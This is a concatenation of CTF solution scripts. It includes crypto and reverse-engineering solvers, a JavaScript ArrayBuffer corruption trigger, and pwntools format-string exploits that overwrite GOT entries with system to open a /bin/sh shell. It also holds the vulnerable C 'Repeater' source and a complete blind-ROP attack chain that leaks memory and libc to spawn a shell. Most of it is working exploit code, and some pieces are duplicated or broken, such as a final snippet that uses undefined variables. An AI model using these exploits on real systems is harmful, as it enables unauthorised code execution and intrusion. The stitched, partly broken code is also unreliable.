from pysm4 import encrypt,decrypt
import base64

mk = 0x77686572655F6172655F755F6E6F773F
base_now="yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwxi!"
base_init="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/i="

clear="1UTAOIkpyOSWGv/mOYFY4R!!"
clear_re=""
for i in range(len(clear)):
    if(i%2==0):
        clear_re+=clear[i+1]
    else:
        clear_re+=clear[i-1]
c=""
for i in range(len(clear_re)):
    b=base_now.find(clear_re[i])
    c+=base_init[b]
c=base64.b64decode(c)
c=int(c.encode("hex"),16)
clear_num=decrypt(c,mk)
clear_num=hex(clear_num)[2:-1].decode("hex")
print clear_num

#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;

char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char resl[] = "artqkoehqpkbihv";
//D0M3GVOMTOac


char Vignia(char a,int n,int* str1,int h)
{
    return (((int)a - 97 + str1[n+h*15]) % 26 + 97) <= 122
                ? (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97) :
                (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97 - 26);

}

int main()
{
    int len,i, j;
    int key1[1000];
    char flag[30];
    char tmp;
    len = strlen(resl);
    i = 0;

    while (base64[i] != '\0')
    {
        key1[i] = (int)abs(base64[i] - 97);//取绝对值
        i++;
    }


    for (int h = 4; h < len; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 4; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    for (int h = 0; h < 4; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 5; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    flag[len] = 0x00;
    printf("%s", flag);


    printf("\n");
    return 0;

}#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;

char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char resl[] = "artqkoehqpkbihv";
//D0M3GVOMTOac


char Vignia(char a,int n,int* str1,int h)
{
    return (((int)a - 97 + str1[n+h*15]) % 26 + 97) <= 122
                ? (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97) :
                (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97 - 26);

}

int main()
{
    int len,i, j;
    int key1[1000];
    char flag[30];
    char tmp;
    len = strlen(resl);
    i = 0;

    while (base64[i] != '\0')
    {
        key1[i] = (int)abs(base64[i] - 97);//取绝对值
        i++;
    }


    for (int h = 4; h < len; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 4; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    for (int h = 0; h < 4; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 5; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    flag[len] = 0x00;
    printf("%s", flag);


    printf("\n");
    return 0;
}

let buf = [];
for(var i = 0 ; i < 4 ;i++)
{
    buf[i] = new ArrayBuffer(0x20);
}
var OOb_Object = buf[0];
var ChangeObject_Index = 0;
let buf_uint8 = new Uint8Array(OOb_Object);
let y = new Uint32Array(OOb_Object);
const v4 = [y, y, y, y, y];
function v7(v31) {
    if (v4.length == 0) {
        v4[3] = y;
    }
    const v11 = v4.pop();
    v11[18] = 0xa0; 
    for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p = [buf_uint8, y, y];
v4.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    v7(v31);
}
for(var i = 0 ; i < 10 ; i++)
{
    var len = buf[i].byteLength;
    if( len != 0x20)
    {
        ChangeObject_Index = i;
        break;
    }
}

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "justtest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
    io.recvuntil("\nPlease tell me:")
    io.sendline(payload)
    info = io.recvuntil("\n")
    return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

p = process("./pwn1")
f = open("pwn1bin", "ab+")

begin = 0x8048000
offset = 0
#i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
    addr = begin + offset   
    p.sendline("x%10$saaa" + p32(addr))
    try:
        #info = p.recv(4)

        info = p.recvuntil('aaa',drop=True)[10:]
        remain = p.recvrepeat(0.2)#weiba
        print info.encode("hex")
        print len(info)
    except EOFError:
        print "offset is " + str(offset)
        break
    if len(info)==0:
        print "info is null"
        offset += 1
        f.write('\x00')
    else:
        info += "\x00"
        offset += len(info)
        f.write(info)
        f.flush()
    #i = i + 1
    print "offset is " + str(offset)
f.close()
p.close()

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
    io = process("./pwn1")
else:
    io = remote('',)

#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
io.recvuntil('Please tell me:')
printf_got = 0x0804A014
payload_leak = 'x' + p32(printf_got) + "%8$s"
io.send(payload_leak)
libc_printf = u32(io.recv()[14:18])
print hex(libc_printf)

#step 2 find the libc
libc = LibcSearcher('printf',libc_printf)
libcbase = libc_printf - libc.dump('printf')
system_addr = libcbase + libc.dump('system')

#step 3 cover the address
payload_cover = 'x' + fmtstr_payload(8,{printf_got : system_addr},numbwritten=10)
io.sendline(payload_cover)
io.recv()

#step 4 get shell
io.sendline(";/bin/sh")

io.interactive()

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./stilltest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
    io.recvuntil("\nPlease tell me:")
    io.sendline(payload)
    info = io.recvuntil("\n")
    return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'#critical/debug
p = process("./stilltest")
f = open("stilltestbin", "ab+")
#f = open("64weiba", "ab+")

begin = 0x400000
offset = 0
i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
    addr = begin + offset   
    p.sendline("%10$saabbccddeef" + p64(addr))
    try:
        #info = p.recv(4)
        info = p.recvuntil('aabbccddeef',drop=True)[9:]
        remain = p.recvrepeat(0.2)#recv the tail to dump in cicle
        print info.encode("hex")
        print len(info)
    except EOFError:
        print "offset is " + str(offset)
        break
    if len(info)==0:
        print "info is null"
        offset += 1
        f.write('\x00')
    else:
        info += "\x00"
        offset += len(info)
        f.write(info)
        f.flush()
    #i = i + 1
    print "offset is " + str(offset)
f.close()
p.close()
#'''

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

int main(void){
    //init
    setbuf(stdout,0);
    setbuf(stdin,0);
    setbuf(stderr,0);
    printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
    printf("So I'll answer whatever you say!\n");

    char buf[257];
    char format[300];
    unsigned int len1 = 0;
    while(1){
        alarm(3);
        memset(buf,0,sizeof(char)*257);
        memset(format,0,sizeof(char)*300);
        printf("Please tell me:");
        read(0,buf,256);
        sprintf(format,"Repeater:%s\n",buf);
        len1 = strlen(format);
        if(len1 > 270){
            printf("what you input is really long!");
            exit(0);
        }
        printf(format);
    }
    printf("game over!\n");
    return 0;
}

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload;
        else:
            len1 = len2

#-*- coding:utf-8 –*-
from pwn import *
import time
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
    io = process("./stilltest")
else:
    io = remote('0.0.0.0',10003)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload;
        else:
            len1 = len2
#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
strlen_got = 0x601020
strlen_leak = "%9$s" + "SEND" + p64(strlen_got)
io.send(strlen_leak)
io.recvuntil('Repeater:')
libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
print hex(libc_strlen)
#libc_printf = u64(io.recv()[8:16])
#print hex(libc_printf)
io.recv()

#step 2 find the libc
libc = LibcSearcher('strlen',libc_strlen)
libcbase = libc_strlen - libc.dump('strlen')
system_addr = libcbase + libc.dump('system')
print hex(system_addr)
#step 3 cover the address

payload_antitone = antitone_fmt_payload(8,{strlen_got : system_addr},write_size='short',numbwritten=9)
#payload_cover = fmtstr_payload(8,{putchar_got : system_addr},write_size='short')
io.sendline(payload_antitone)
io.recv()

#step 4 get shell
#time.sleep(10)
io.sendline(";/bin/sh\x00")
#io.recv()
print hex(system_addr)
io.interactive()

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
ip = "0.0.0.0"
port = 10001

def getbufferflow_length():
    i = 1
    while True:
        try:
            io = remote(ip,port)
            io.recvuntil("Please tell me:")
            io.sendline(i*'a')
            output = io.recvuntil("Goodbye!\n",timeout=1)
            print output
            #hello = io.recv()
            io.close()
            #print "[*] the index is " + str(output.find('Goodbyte!'))
            if output == "":
                return i - 1
            else:
                i += 1
        except EOFError:
            io.close()
            return i - 1

length = getbufferflow_length()
print length

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
gadget_array = []
def get_stop_addr(length):
    addr = 0x4007D0#7D0

    while 1:
        try:
            sh = remote('127.0.0.1', 10001)
            sh.recvuntil("Please tell me:")
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            #sh.recvuntil("Repeater:")
            sh.recv()
            recvstr = sh.recv()
            sh.close()
            if recvstr.startswith('Hello'):
                gadget_array.append(addr)
                return gadget_array
            print 'one success addr: 0x%x' % (addr)
            addr += 1
        except Exception:
            addr += 1
            sh.close()
length = 216
stop_gadget = get_stop_addr(length)
for i in range(len(stop_gadget)):
    print 'one success addr: 0x%x' % (stop_gadget[i])


#0x4007d6

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
            stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        sh.recv()
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.find('Hello'):
            return False
        return True
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        sh.recv()
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True

length = 216
stop_gadget = 0x4007d6
addr = 0x4007d6#libc_scu_init is behind from main
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print 'possible brop gadget: 0x%x' % addr
        if check_brop_gadget(length, addr):
            print 'success brop gadget: 0x%x' % addr
            break
    addr += 1
#0x40095a

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400630
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
            addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            sh.recv()
            content = sh.recv()
            if content.find('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1
length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = get_puts_addr(length,rdi_ret,stop_gadget)

print hex(puts_plt)
#0x400635

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
    addr = 0x4005fd#0x400000
    result = ""
    offset = 0
    while addr < 0x401000:
        #print hex(addr)
        data = leak(length, rdi_ret, puts_plt, addr+offset, stop_gadget)
        print "data is " + data
        if data is None:
            continue
        else:
            result = data
            offset += len(data)
            print "[*] offset is "+ hex(offset)
            print "[*] addr is "+ hex(addr)
        with open('code', 'ab') as f:
            f.write(result)


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 10001)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('Please tell me:')
    sh.sendline(payload)
    try:
        #sh.recvuntil(rdi_ret)
        #hello = 'a' * length + p8((rdi_ret>>1)&0xff) + p8((rdi_ret>>2)&0xff) + p8(rdi_ret & 0xff)
        hello = 'a' * length + '\x63\x09\x40'
        print "[*] hello is " + hello
        sh.recvuntil(hello)
        #sh.recv()
        data = sh.recv()
        sh.close()

        try:
            #print hex(rdi_ret)
            data = data[:data.index("\nHello")]
            #print data
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None


length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635

print "this is " + hex(rdi_ret)
leakfunction(length, rdi_ret, puts_plt, stop_gadget)

#io.interactive()

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635
puts_got = 0x601018
sh = remote('127.0.0.1', 10001)
sh.recvuntil('Please tell me:')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
    stop_gadget)
sh.sendline(payload)
sh.recvuntil('\x63\x09\x40')
data = sh.recvuntil('\nHello', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
print "[*] puts_addr is " + hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
    system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

# -*- coding: utf-8 -*-
from pycipher import Affine
import string

table = string.ascii_lowercase

englishExpectedFrequencies = {
    'a': 0.08167, 'b': 0.01492, 'c': 0.02782, 'd': 0.04253,
    'e': 0.12702, 'f': 0.02228, 'g': 0.02015, 'h': 0.06094,
    'i': 0.06966, 'j': 0.00153, 'k': 0.00772, 'l': 0.04025,
    'm': 0.02406, 'n': 0.06749, 'o': 0.07507, 'p': 0.01929,
    'q': 0.00095, 'r': 0.05987, 's': 0.06327, 't': 0.09056,
    'u': 0.02758, 'v': 0.00978, 'w': 0.02361, 'x': 0.00150,
    'y': 0.01974, 'z': 0.00074
    }

dic = {1: 1, 3: 9, 5: 21, 7: 15, 9: 3, 11: 19, 15: 7, 17: 23, 19: 11, 21: 5, 23: 17, 25: 25}


# 找出假定秘钥长度内的最可能长度
# 所用的方法：重合指数法
def decryptFirstStage(toDecrypt):   # 将密文传入。
    min_len = 3
    max_len = 15
    toDecrypt = toDecrypt.lower()   # 将密文转为小写

    best_len = 0
    best_aver = 0

    best_rate = 0.65
    min_rate = 100

    for i in range(0, len(toDecrypt)):  # 每次循环测试一个密钥长度。
        lengthOfKey = i + 1
        averageIC = 0.0             # 重置 averageIC
        sequenceDictionary = {}     # 序列字典或用于统计分组。
        hadZeroError = False  # hadZeroError 或用于预防某种错误的计算。

        # 此循环用于生成分组字典 sequenceDictionary
        for index in range(0, len(toDecrypt)):
            sequenceNumber = index % lengthOfKey    # 密文中的第 index 个字符应该属于那个分组。
            if sequenceNumber in sequenceDictionary:    # 分组若存在，则将 toDecrypt[index] 加入分组字符串，如不存在，则先创建再添加。
                sequenceDictionary[sequenceNumber] += toDecrypt[index]
            else:
                sequenceDictionary[sequenceNumber] = toDecrypt[index]

        # 此循环用于生成各个分组的重合指数和 averageIC
        for stringSequence in sequenceDictionary.values():
            try:
                averageIC += calculateIC(stringSequence)    # 统计各个分组的重合指数，并求和。最后储存在 averageIC 中。引入了自定义函数 calculateIC()
            except ZeroDivisionError:
                hadZeroError = True
                break

        if hadZeroError == True:
            averageIC = 0
        else:
            averageIC /= len(sequenceDictionary.keys())     # averageIC 求平均值。

        rate = abs(1 - (averageIC / best_rate))

        # 这个判断用于选出最佳长度
        if (min_len <= lengthOfKey <= max_len) and (rate < min_rate):     # 判断条件为： averageIC 最大的一组 & 密钥长度区间在[3,5]
            min_rate = rate                                               # 考虑是否可以修改循环次数？
            best_len = lengthOfKey\

    # 找出指定秘钥长度范围内averageIC最大的那个秘钥长度
    # print('最佳长度：', best_len)
    return best_len


# 用于计算重合指数，输入类型为 str
def calculateIC(inputText):
    inputText = "".join(inputText.lower().split())  # 是否可以省略这一步？
    frequency = getFrequencyOfText(inputText)       # 获取字母-次数字典。
    ic = 0.0

    # 循环26个小写字母
    for letter in table:
        if letter in frequency:
            ic += frequency[letter] * (frequency[letter] - 1)

    ic /= len(inputText) * (len(inputText) - 1)     # 重合指数计算公式。
    return ic


def getFrequencyOfText(inputText):
    frequency = {}
    for letter in inputText:
        if letter in frequency:
            frequency[letter] += 1
        else:
            frequency[letter] = 1
    return frequency


def getGroups(raw, block):
    groups = []
    for i in range(block):
        k = i
        part = ""
        while True:
            try:
                part += raw[k]
                k += block
            except:
                break
        groups.append(part)
    return groups


def getEnglishScore(inputText):
    """计算英文字符串的“评分”，计算方法为：
    Score = (字符串中各个字母的数量 * 其对应的字母频率)的总和 / 字符串去掉空格后的长度

    :param inputText: 英文字符串 string
    :return: 评分 int
    """
    inputText = inputText.lower().replace(" ", "")
    score = sum([englishExpectedFrequencies.get(char, 0) for char in inputText]) / len(inputText)

    return score


def crack(cipher):
    fitness = float("-inf")
    bestResult = ""
    key_a = None
    key_b = None
    for i in dic.keys():
        for j in range(0, 26):
            af = Affine(a=i, b=j)
            result = af.decipher(cipher)
            bestFitness = getEnglishScore(result)
            if bestFitness > fitness:
                key_a = i
                key_b = j
                fitness = bestFitness
                bestResult = result

    return bestResult, key_a, key_b


en = "ltpflwfkqnyfmbjbchqnadkaykyhgpzaezjfrfkdonetcvcrkaaronhdnvghmyzwshrhefgqjfbrphqmgvglgvlfonzzqngxqfsessrhphupnvlfxsxotmzccnqfvmfdlhujqvezonbhsnsgykffzmbhefxtrrfjqsxywnolschammigsuetynevesboxmolrirbzhnhtynalodsgnyhxahlrifjqyijphgaqrlrclrhpattjcegcviubmztdvysstskrqelgfzjmjqhjmnmqkhcumftngxltgebfossacnvscaosixddmzcuqdyxciqaugqzoatgxnhmvczlrrfezzhlqalpogfejetmqfthtojfxeuxmqmushcbwsqtmdfdovtulzhlqccnobdshiqascgqxuyjwegbqdfrogrrgxhwfqpqqayooeoxanrunprzsigmatptaxjfavmaaqazoirructbmffenahsjxyahuajtomfsfnavgbcvsysxsjqkggjvlfreqoxaqlwflfzmipxyqiqaxfgoskauczogsdbaurejccjfoxgnknehlpnkyyjauowhymqfsceosbrydlkofyesrdzakazkbrzcxyastfsnymcarhjmtvgvbtrueoxmlljvhfljqgcmqtcrzjjscrahdtgfozonxvrigqunlrcrilnngvkfsmzwroxmlljvhfljqgcmhlgczvztenqnmpcvocuafoxmqpkkfclpsgafetgcfoezqoajpveuegywqoajitraltjssjedczjvessyevjmsycykypjijensqocbfftehhgltcqocpjijepscsfogjwhvncnbemzospqolhgedcfzsyijwnaoubzjymfnaynpnqogepzdlvgcooftfwsksytpdymjoxcdnnugwysrvhnhtynalodsgnyhlvsacyspwweuxanvusssseetnyfncvkvetsozqtbetyysixyagcgkoky"
length = decryptFirstStage(en)
print "Length is: %d" % length
gp = getGroups(en, length)
key1 = ""
key2 = ""
for p in gp:
    res, a, b = crack(p)
    key1 += table[a]
    key2 += table[b]
print key1 + '\n' + key2

key = ")!@#$%^&*("
tmp = ""
for c in b:
    if c in '!@#$%^&*()':
        c = key.index(c)
    tmp += str(c)
print base64.b64decode(tmp)